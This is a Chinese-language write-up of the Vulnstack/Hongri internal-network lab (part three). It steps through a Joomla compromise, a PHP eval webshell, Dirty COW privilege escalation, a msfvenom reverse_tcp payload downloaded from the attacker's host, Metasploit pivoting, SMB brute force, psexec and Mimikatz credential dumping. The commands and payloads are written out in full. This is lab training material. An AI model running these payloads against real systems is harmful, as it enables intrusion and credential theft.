红日内网靶场(三)通关流程

红日内网靶场(三)通关流程:

下载地址:http://vulnstack.qiyuanxuetang.net/vuln/

第一步:安装靶场环境

这个靶场安装也比较简单,导入即用就行

只有一点注意事项

将web-centos虚拟机的外网网卡设置为NAT模式(桥接也可以,只要和自己攻击机一个模式就行,否则会话弹不回去)

这个靶场需要占用的内存有那么亿点大,个人建议内存至少>=32G,食用更佳(建议40G以上会更好)

web-centos网卡设置如下:

image

web1-ubantu网卡设置如下:

image

win2008网卡设置如下:

image

Windows Server 2012网卡设置如下:

image

pc网卡设置如下:

image

都设置完成后,需要在web-centos虚拟机上重启网卡

service network restart

image

至此,环境配置完成,可以开始实战了


第二步:实战

kali IP Address192.168.48.129
Win10(综合渗透平台) IP Address192.168.48.150

1. 信息收集

不必多说了吧,打完前两关也应该知道要怎么做了

arp-scan -l

image

去1,2,254三个,将自己的Win10也去掉,就只剩下151了,那就先对151动手

nmap -sS -sV -Pn -T5 192.168.48.151

image

开放了22,80和3306这三个端口,80肯定是有东西的,这个22和3306不知道会不会在接下来的渗透中起作用,先留意一下

先用浏览器看看这网站是个怎么回事

image

靶场打的多的话一眼看出来这是Joomla的CMS,但是光感觉也不是个事,用dirsearch扫一下就知道了

dirsearch --url http://192.168.48.151

image

有很多敏感文件,不过先去看看后台(/administrator目录)

image

现在确定是Joomla架构了,但是有个问题,这个密码我跑了挺久也没跑出来,说明不是弱口令

应该是其它的文件泄露了什么信息,这里面有个configuration.php~就很可疑,看看先

image

有点像是数据库的账号密码被泄露了,难道说这个MySQL 3306是可以远程连接的?

testuser/cvcvgjASD!@

如果嫌直接用命令行的MySQL操作复杂的话,可以用navicat工具远程连接数据库也是可以的,正好Win10 Penetration里面就集成了这个工具(都汉化了没理由不会用吧?)

image

连接进去后直接搜索表名中带users的表,凭感觉要么是第二个要么是第四个,先看看第二个

image

点进去后,发现这里的密码是加密过后的。不过没关系,我们可以给它改了,去cmd5上md5加密123456给它复制过来就行

123456的md5加密结果:e10adc3949ba59abbe56e057f20f883e

image

OK,保存一下,再尝试登录后台,这回是可以登录进去的

administrator/123456

image

那么信息收集部分就到此结束了,接下来就要开始外网打点了

2. 外网打点

不怎么了解JoomlaCMS架构的可以去网上搜一下,总之就是能写马就对了,写马路径依次点击

Extensions-->Templates-->beez3

image

这里你新建文件写马还是你直接改源文件都可以,这里我采取新建文件写马,点击菜单栏的New File

image

然后新建一个php文件就可以了,注意这个地方文件名不需要加后缀,文件类型更改完成后创建时会自动添加后缀名

image

php一句话木马的内容就不需要多说了吧?记得点下Save再退出

<?php @eval($_POST['cmd']);?>

image

然后去到Win10里面用蚁剑连接(Win10 Penetration自带蚁剑名字是AntSword,搜中国,中国蚁剑等关键词是出不来的)

http://192.168.48.151/templates/beez3/shell.php

image

然后就傻眼了,啥玩意都执行不了,再写一个phpinfo看看是不是开了什么东西

image

写完按照路径访问一下

http://192.168.48.151/templates/beez3/phpinfo.php

image

跟预想中的一样,开了disable_functions,把一些比较危险的函数都给禁用了

不过蚁剑是带插件,可以绕过disable_functions的,这个插件正好也被集成到了Win10 Penetration里面

image

先选中会话,然后选择点击红色方框中的这一个模式就可以了(需要注意的是这个插件并不能百分之百的绕过,有的时候一条命令会重复执行多次才有回显,是正常情况)

image

然后就可以看看是否打点成功了

image

等一下!有问题......

我们刚刚打的是192.168.48.151,这个地方ifconfig之后怎么只有一个192.168.93.120呢?

这里就是一个新的领域了:代理

为了通俗易懂,可能讲的地方些许会有些粗糙,欢迎各位大佬的指正

通俗点来说,代理服务器一般有两种工作模式,分别是:正向代理,反向代理

如果不深究其原理的话,正向代理和反向代理的主要区别其实一句话就能说清楚

正向代理时,服务器不知道客户端的存在;反向代理时,客户端不知道服务器的存在

如果能理解这一句话,那么这个地方到底是正向代理还是反向代理,就很好弄清楚了

我们刚开始渗透的时候,是不是只知道192.168.48.151这个IP地址,我们错把这个IP地址(或者说理所当然的)当作Web服务器了?

但实际情况是,你打进去后,返回的信息都不是你打的这一台(192.168.48.151)的,而是192.168.93.120的

你是不知道192.168.93.120的存在的,至少你在打进去之前不知道

所以这个地方很自然的,根据刚开始nmap扫描的结果来看,这个地方采用了Nginx反向代理

那么外网打点也结束了,又GET到一个新技能

3. 内网横向

这一个内网横向还是有点复杂的,因为忙活这么半天,我们才取得一个www-data的权限

我也不知道为什么会出现这样的问题,总之,在/tmp/mysql目录下存在一个test.txt文件,里面存放着一个用户和密码(运维出来挨打)

image

wwwuser/wwwuser_123Aqx

这也不像是数据库的,难道是刚刚扫的SSH的?尝试远程登录SSH(这个地方有关于SSH算法性质的问题,需要加上以下参数才能登录

ssh -o HostkeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa wwwuser@192.168.48.151

image

查看下内核版本和网卡信息,这才对得上号

uname -a / ifconfig

image

这个内核版本是存在脏牛提权漏洞的,但是我们却不能用一句话木马进行上传操作(因为反向代理)

鉴于各种版本的脏牛漏洞提权账号可能不太一样(有的提权后账号是root,有的提权后账号是firefart,这里发一份我自己的脏牛漏洞提权脚本

链接:https://pan.baidu.com/s/1HrKX_g7OYd2iZ1jHLJrWww?pwd=kmfp 提取码:kmfp 

好在这个虚拟机是有外网的,我们可以在Kali中开启一个HTTP服务,将提权脚本放到Kali上,然后在SSH环境中利用wget即可下载到提权脚本

首先把提权脚本下载到Kali虚拟机上

image

然后使用Python开启HTTP服务

python3 -m http.server 8000

image

成功后,先在刚刚连接的SSH中切换到/tmp目录下,会发现有一个passwd.bak文件,将其删除后利用wget下载来自Kali的提权模块

cd /tmp
rm -rf passwd.bak
wget http://192.168.48.129:8000/dirty.c

image

下载完成后,还要进行编译才能使用

gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123456(123456是用户密码,可更改参数)

image

等待出现如下通知时,提权成功,可以切换至root用户了

root/123456

image

费了挺大力气的才拿到第一个靶机的Shell,那么现在才算正式开始横向渗透了

现在的Shell只是一个独立的Shell,没有办法利用其最大价值。不过我们已经有了一个后门用户(root/123456)了,而且控制了这一台靶机,我们可以使用msfvenom生成一个一句话木马,然后通过wget传到靶机上,最后在msfconsole中开启监听即可将Shell转移到MSF中

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.48.129 LPORT=886 -f elf > msf.elf

image

wget http://192.168.48.129:8000/msf.elf

image

MSF选择exploit/multi/handler模块就可以了,其余的跟生成的木马配置要统一

msfconsole
use exploit/multi/handler
set LHOST 192.168.48.129
set LPORT 886
set Payload linux/x86/meterpreter/reverse_tcp
run

image

监听开启后,去SSH那边./msf.elf就能激活木马,反弹一个Shell回来(记得要加777权限)

chmod 777 msf.elf
./msf.elf

image

image

这样我们就成功的将Shell转移到了MSF中,可以开始做内网的横向探测和攻击了

先看看网卡信息

ifconfig

image

有两张网卡,意味着要添加路由,扫描内网网段

添加路由:run autoroute -s 192.168.93.0/24
查看添加的路由:run autoroute -p

image

如果不添加内网路由,那对于192.168.93.0/24网段来说,Kali主机的192.168.48.0/24网段就没有办法对该内网进行进一步的测试,因为网络没有办法到达

有了路由之后,我们就可以进一步扫描内网了,先将会话background起来(挂起但不关闭会话)

background

image

MSF中还有一个Smb探测的模块:auxiliary/scanner/smb/smb_version,用在这个地方很合适

use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.93.0/24
run

image

可以发现扫描出了10,20,30三台内网主机存在Smb服务,那么这攻击方式就多了

比如MS17_010,MS08_067,都是可以针对139,445端口去进行攻击的

但是实验过后证明都不可取

那么回归原始,我们用最暴力的方式:Smb暴力破解

不过在暴力破解之前,我们得先创两个字典(有的Top10000里面有密码,有的没有,干脆省去麻烦自己建一个密码字典就行,实战中字典越大肯定成功率越高,这里只是打靶场,算是变相简化过程)

user.txt里面内容如下
guest
administrator
anonymous
testuser
user
admin

pass.txt里面内容如下
123456
P@ssw0rd
root123...
FlyingFirework(来来来你告诉我这个东西是不是夹带私货?)
123qwe!ASD
QwErTyUiOp

字典创建完成后,就可以开始暴力破解了

use auxiliary/scanner/smb/smb_version
set PASS_FILE pass.txt
set USER_FILE user.txt
set RHOSTS 192.168.93.10,20,30
run

image

10没有跑出来任何东西,但是20和30的Smb密码都跑出来了,所以我们直接用MSF连接Smb就可以了

use exploit/windows/smb/psexec
set RHOSTS 192.168.93.20,30
set SMBUser administrator
set SMBPass 123qwe!ASD
set Payload windows/meterpreter/bind_tcp
run

image

这样,我们就获取到了三台靶机的最高权限了,下面可以开始进程迁移

getpid(查看当前进程号)
ps(查看所有进程)
migrate 624(迁移到svchost.exe进程上)(这个PID根据自己选择即可,并不固定)

image

但是10的密码也暴力破解不出来怎么整?

先不着急,看看10是域控还是域内的主机,随便用20,30其中一台的Shell去收集一下信息

利用ifconfig /all查看IP地址发现DNS和域信息,尝试Ping域名发现域名解析后就是DNS地址信息,域控基本上稳了

image

调用20的meterpreter,加载kiwi模块,然后直接creds_all跑出所有凭证

load kiwi
creds_all

image

OK,很成功的跑出了域属Administrator的密码为zxcASDqw123!!,那直接再次启用psexec

image

不知道为什么,攻击可以成功,但是没有会话弹过来,那看来只有一种办法了,挂全局代理连接Smb

这里需要用到socks代理,先配置proxychains文件,拉到最下面

vim /etc/proxychains4.conf

image

只需要配置一行即可,IP地址为自己Kali的IP地址,1080是代理端口号

保存退出后,在MSF中使用如下模块

use auxiliary/server/socks_proxy

image

这里需要自己配置

set SRVHOST 192.168.48.129
set SRVPORT 1080
set VERSION 4a
run

image

配置完成后,在使用命令时在前面加上proxychains,就可以以代理的模式走MSF的路由使用了

我们先连接192.168.93.20的Smb服务

proxychains smbclient //192.168.93.10/C$ -U test.org\\administrator

输入密码后,我们就得到了10的smbclient交互界面,flag在C:/Users/Administrator/Documents/flag.txt,我们直接去查就可以了

cd Users\Administrator\Documents
get flag.txt

image

下载完成后就可以在Kali里面看到flag了,结束!

image

posted @   纷飞的花火丶  阅读(25)  评论(0编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示